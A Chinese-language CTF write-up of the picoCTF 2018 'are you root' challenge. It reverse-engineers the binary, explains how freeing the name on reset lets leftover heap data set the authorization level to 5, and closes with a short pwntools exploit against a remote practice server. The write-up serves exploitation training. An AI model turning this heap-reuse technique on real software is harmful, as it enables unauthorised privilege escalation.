picoctf_2018_are you root
-
例行检查,64位程序,开启了canary和nx
-
本地试运行一下,看看大概的情况,提示level=5会输出flag
-
64位ida载入,检索字符串发现程序里有读出flag的函数
右击跳转,看看有没有地方调用了这个函数
在main函数里调用了它,如果s=get-flag,而且*(v6+2)的值是5的话就能输出flag,对应菜单的get-flag - print the flag (requires authorization level 5)
,v6的初始值是0。这边要想办法修改v6的值,并且让*(v6+2)处=5 -
main函数,程序太长,分开看,挑几个用的上的贴一下
s=login
nptr根据v10字符串分解得到,看v10跟s在栈上的距离
他俩离的挺近,在写s的时候可以覆写到v10,然后就是这个strotk函数,说是按照’\n’拆解字符串,但是我自己尝试的时候感觉只是分解了login和后面的字符,它会省去login后的一个字符。
因此我们可以通过输入的s来控制nptr里的值
在结合show
在v6处程序大概定义了这样一个结构体
struct USER{
char *name;
long long auth_level;
}
本来我想的是构造payload:payload=‘login ’+‘a’*0x8+p64(5),来让level变成5的,但是直接修改并不可以,此时我们的name是aaaaaaaa\x05
,auth_level里是默认初始值0
- 我们这边要结合reset来利用
在reset中只是释放了name,并在name的地址置为空,
此时该chunk进入tcache,下次login时还会再申请一次user结构体,此时名字中超过8字节的部分就被当成auth_level了
修改成功。
exp:
from pwn import *
#p = process('./PicoCTF_2018_are_you_root')
p = remote('node3.buuoj.cn',29575)
context.log_level="debug"
payload='login '+'a'*0x8+p64(0x5)
p.sendlineafter('>',payload)
p.sendlineafter('>','reset')
p.sendlineafter('>','login aaa')
p.sendlineafter('>','get-flag')
p.interactive()
写在后面:
这题本身不难,就是一个逻辑漏洞,里面用到了二级指针的知识点,一开始没注意到是二级指针,折腾了好久。